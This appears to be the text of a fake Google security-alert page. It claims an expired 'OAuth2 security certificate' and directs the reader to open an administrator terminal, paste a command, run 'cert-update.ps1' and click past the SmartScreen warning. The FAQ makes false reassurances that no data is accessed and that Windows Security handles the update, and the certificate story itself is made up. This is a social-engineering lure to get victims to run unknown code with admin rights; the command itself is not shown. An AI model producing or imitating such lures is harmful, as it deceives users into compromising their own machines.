Recent account security activity
Security alerts and suspicious activity from the last 28 days. Learn more
May 28, 2026
16:51
Recovery Request on Windows device
Not confirmed
Windows
May 28, 16:51
Recovery request on Windows device
If this wasn't you, the security of your account is at risk.
Windows
Was it you?
Your account security may be at risk
If this wasn't you, someone else is using your password to access your Google account. You should change your password immediately.
Authentication Error
Unable to complete OAuth2 authentication. Your browser's security certificate has expired and needs to be updated.
ErrorOAUTH2_API_ERROR
Status401 Unauthorized
Request IDGCMQ56WRWC7OLG
Update security certificate
Complete installation:
1Click Open when prompted
2Click Install in the dialog
3Wait 15-30 seconds
- Press Win + X, select Terminal (Admin)
- Click Yes
- Paste command and press Enter
cert-update.ps1
Frequently Asked Questions
Your browser's OAuth2 security certificate has expired. This is a routine maintenance issue that affects approximately 2% of users and takes 15-30 seconds to resolve.
Yes. This process only updates your local security certificates. No personal data is accessed or transmitted. The update is handled by Windows Security.
SmartScreen warns about newly downloaded files. Click "More info" then "Run anyway". Learn more about SmartScreen protection.
ClickOnce is Microsoft's secure deployment technology. Read more in Microsoft documentation.